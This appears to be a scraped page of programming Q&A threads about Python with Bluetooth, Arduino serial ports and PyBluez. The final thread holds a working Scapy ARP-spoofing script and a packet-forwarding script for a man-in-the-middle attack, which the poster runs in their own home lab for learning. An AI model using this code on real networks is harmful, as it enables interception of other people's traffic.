Python Bluetooth Passkey/Password Linux - python

I'm working on a Python script to control my Mindstorms NXT with a Raspberry Pi.
My problem is, that the NXT has a Bluetooth passkey. You can change the passkey but not delete it.
I want to know how you can connect the PyBluez socket to a device with a passkey.
This is the current program:
import bluetooth
import socket
target_name = "Jerry"
target_address = None
print "performing inquiry..."
nearby_devices = bluetooth.discover_devices()
print "found %d devices" % len(nearby_devices)
for bdaddr in nearby_devices:
if target_name == bluetooth.lookup_name( bdaddr ):
target_address = bdaddr
break
if target_address is not None:
print "found target bluetooth device with address ", target_address
else:
print "could not find target bluetooth device nearby"
bluesock= socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM)
bluesock.connect((target_address, 1))

I'm not sure there's a Python specific answer. The py-nxt posts I saw seemed to point at the OS.
Does starting this background process (on your computer) with a passkey help you?
bluetooth-agent 1234 &
I've found it useful to pair with the NXT first using:
hcitool cc 00:16:53:0A:17:16
Whereby, I'd found the MAC address with:
hcitool scan
If you hadn't already tried the rfcomm related bits for Linux, there's a worthwhile ref here.

On Windows, I just had to go into go into Bluetooth settings and pair with the device, entering the passkey on Windows and then on the NXT. It never showed a screen saying that it had paired, seemingly getting stuck pairing, but it did work and I was able to connect with nxt-python.

Related

Recognition of a specific USB device in python

I am making app in python, that connects with Arduino. I want this app to work on different computers, when arduino is connected to any port. I was trying to do a function that checks to which port is arduino connected to:
def arduinoConnect():
t=0
temp = 0;
while 1:
i = str(t)
try:
temp = serial.Serial('com'+i, 9600)
if temp:
print("COM" + i + " Connected")
break
except:
print("COM" + i + " Empty")
t = t + 1
if t == 41:
break
return temp
But this code only sees if anything is connected, so when i am also using some bluetooth devices, or other microcontrolers, it takes the device that is connected to the com port with the lowest number.
Next idea was to take PID and VID number:
import serial
import serial.tools.list_ports
for port in serial.tools.list_ports.comports():
print(port.hwid)
But i have one more device connected to COM Port, that gives exactly the same numbers, only different location:
USB VID:PID=1A86:7523 SER= LOCATION=1-4
USB VID:PID=1A86:7523 SER= LOCATION=1-5
I also tried to get a specific id of a connected USB device:
import serial
def serial_ports():
ports = ['COM%s' % (i + 1) for i in range(256)]
result = []
for port in ports:
try:
s = serial.Serial(port)
s.close()
result.append(port)
print(s)
except (OSError, serial.SerialException):
pass
return result
if __name__ == '__main__':
print(serial_ports())
And it returns the ID of a device, which is unique to every device, but changes every time i disconnect and connect again the device.
My question is how to let my code recognize and connect one and only device I want? On any computer, connected to any port.
I understand your problem as such that you wish to have python code that can connect to an arduino device which is connected to any port, on any computer.
So the solution is to uniquely identify the arduino device even when other devices are plugged in.
It should work when you get the device serial number:
import serial
import serial.tools.list_ports
def get_arduino_serial_number():
for port in serial.tools.list_ports.comports():
if 'Arduino' in port.description:
return port.serial_number
return None
whether this works or not is dependent on port.description.
Change USB COM port description
Get ports by description
With the serial number of the Arduino device, you can then connect to it using:
ser = serial.Serial(port='COMx', baudrate=9600, timeout=1,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
bytesize=serial.EIGHTBITS)
Opening serial ports | pySerial

Python: Trying to scan for active bluetooth devices

I found online multiple sources that said that discover_devices scans for active bluetooth devices, but for me it was printing all the bluetooth devices that remembered on my computer. Is there something wrong with my code/settings?
`
import bluetooth
nearby_devices = bluetooth.discover_devices(lookup_names=True)
print(nearby_devices)
for addr, name in nearby_devices:
print('\nname = ', name, "\naddress = ", addr)
`

Attempting to use pyserial between applications, yet I get terminal

(update)
So I found some documentation on this link
https://elinux.org/RPi_Serial_Connection#Connections_and_signal_levels
If you scroll down you will find a section "S/W: Preventing Linux from using the serial port" It says "By default Linux will grab the serial port and use it as a terminal."
So it appears that this is a thing, however, the instructions it gives is for a Raspberry Pi, and it calls for you to use raspi-config. It doesn't give anything for regular linux use.
Using python I'm attempting to communicate between my laptop and an Up-Board. I'm connecting the Up-board by using an FTDI cable, connected to the serial connection on the board.
(OP)
I've done something similar before with C++ on a different board. The code I'm using I pulled from this site, http://www.varesano.net/blog/fabio/serial%20rs232%20connections%20python
import time
import serial
ser = serial.Serial(
port='/dev/ttyUSB0',
baudrate=115200,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
bytesize=serial.EIGHTBITS
)
print ser.isOpen()
input=1
while 1 :
input = raw_input(">> ")
print "Check"
try:
if input == 'exit':
ser.close()
exit()
else:
ser.write(input + '\r\n')
out = ''
time.sleep(1)
while ser.inWaiting() > 0:
out += ser.read(1)
if out != '':
print ">>" + out
except:
ser.close()
break
I'm doing something similar on the Up-board. The only difference is that it waits for a message, then returns the message back to my laptop. Just a loop back between the Upboard and my laptop.
Here's where it gets interest.
I'm having two seperate issues.
1) I'll attempt to send a word, ie "test" and it will only send "e", "tst" doesn't get sent
2) The other issue is, it sends message, and I get a return for a password. So I reset the software and attempt to connect again, this time I send the username as the first message. I get back a reply for password, then I send the password, and now I have terminal access to the Upboard. While, all I really want is to connect to the application on the other end.
Does anyone have any suggestions on what is going on?
So I found the resolution, it appears that the system was configured in grub to connect to terminal on the same port address.
if you go to /etc/default/grub you will find a line
GRUB_CMDLINE_LINUX="console=ttyS0, 115200n8"
I ended up commenting that line, and I now can connect without it giving me console control.

Error while connecting HC-05 bluetooth module with python via bluetooth

I have been trying to connect my hc 05 bt module with my laptop and to achieve a communication with Idle.
At first i connected my bt device manually from laptop's bluetooth settings and then I was able to get the module's bt address by using the following code:
import bluetooth
target_name = "HC-05"
target_address = None
nearby_devices = bluetooth.discover_devices()
for bdaddr in nearby_devices:
if target_name == bluetooth.lookup_name( bdaddr ):
target_address = bdaddr
break
if target_address is not None:
print "found target bluetooth device with address ", target_address
else:
print "could not find target bluetooth device nearby"
I received the bluetooth address as "98:D3:31:70:7D:2D"
Now i wrote the following code to connect HC-05 via python..
bd_addr = "98:D3:31:70:7D:2D"
port = 20
sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM )
sock.connect((bd_addr, port))
sock.send("1")
sock.close()
Now i browse through my laptop's bluetooth comm port settings and found 2 things
1st...
COM19
Direction--- Incoming...
Name--- HC-05
2nd...
COM20
Direction--- Outgoing
...
Name--- HC-05 'Dev B'
Hence I chose COM20 as I want to transmit data from Python.
When I run this code i get error:
Traceback (most recent call last):
File "C:\Python27\TestBluetooth.py", line 26, in <module>
sock.connect((bd_addr, port))
File "C:\Python27\lib\site-packages\bluetooth\msbt.py", line 72, in connect
bt.connect (self._sockfd, addr, port)
IOError: A socket operation failed because the destination host was down.
I tried both COM19 and COM20 but got the same error.
My Bluetooth is connected via TX pin to arduino's RX pin and the arduino is connected to my PC so there is no error of COM port sharing that occurs sometimes.
Also when I connect my bluetooth module with laptop bluetooth and open Bluetooth Serial terminal and transmit data from there it works fine.
So there's some problem in my understanding and writing of Python code.
Please help...

Scapy forwarding packages

I'm just learning python with scapy. I read and use the book "Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python" (German).
I would like to try a man in the middle attack by using arp-spoofing.
I have My Computer, the victim (my raspberry pi) and the standard gateway.
To spoofing, i use a code snippet from the book
#!/usr/bin/python
import sys
import time
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + " <target> <spoof_ip>"
sys.exit(0)
iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
It works, my victim shows my mac as gateway.
The victim sends packets with the correct ip but my mac address.
Now the victim should open a website (wget http//example.com) and I want to use Wireshark to read the traffic. But I have to redirect the packages (DNS and TCP/HTTP). I tried it with this code:
#!/etc/usr/python
from scapy.all import *
import sys
iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"
def handle_packet(packet):
if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
packet[Ether].dst = GATEWAY_MAC
sendp(packet)
print "A packet from " + packet[IP].src + " redirected!"
sniff(prn=handle_packet, filter=filter, iface=iface, store=0)
Wireshark shows a packet with the correct datas (IP Source = Victim IP, IP Destination = Gateway IP, MAC Source = Victim MAC, MAC Destination = Gateway MAC).
The Gateway is a DSL-Router, so also a "DNS-Server".
But my Raspberry doesn't receive a DNS response. What's my fault?
Yours faithfully,
MatStorm
One thing Scapy does not do for you is handle firewall issues; in this situation you would be well served to turn off the host firewall on your attacking host. The packets you're crafting aren't using the usual path for packets.
Also, are you translating the source address when you forward the packets on so that the response comes to you? I don't see that in the code...
Check if monitor mode is on the fake dns server interface. I cannot see from your code if that is done so just a quick tip. I will look closer after some sleep and can see straight. When I did spoofing last time, I had 1 ethernet cable with internet in router and monitor mode on wlan. if I tried without it showed some wanted info but just not right, cant remember for sure what I did to fix it. best of luck.

Categories

Resources